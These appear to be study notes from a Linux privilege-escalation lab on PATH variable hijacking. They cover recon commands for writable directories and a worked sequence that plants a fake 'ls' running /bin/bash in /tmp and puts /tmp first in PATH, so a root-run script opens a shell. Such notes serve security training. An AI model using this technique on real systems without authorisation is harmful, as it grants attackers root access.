Exploiting PATH Variable
PATHis an environmental variable in Linux/Unix-like systems that specifies directories that hold executable programsecho $PATHto view thePATHof the relevant user- Re-write the locations in
PATHso system will search a controlled location to call malicious bins ie. replace system shell with custom payload - Command is run with the same privileges as the file owner, possibly
root
Important considerations
- What folders are located under $PATH
echo $PATH
- Does your current user have write privileges for any of these folders?
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u- Can pipe to
grepfor specific folder names
- Can you modify $PATH?
export PATH=/tmp:$PATH
- Is there a script/application you can start that will be affected by this vulnerability?
- Create scripts/binaries in PATH locations that will be called by root scripts
Answers
exit
su user5
password
cd
# run script to view behavior
./script
# create spoofbin
echo '/bin/bash' > ls
# make bin executable
chmod +x ls
# place controlled location at front of PATH
export PATH=/tmp:$PATH
# revert PATH to original value
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH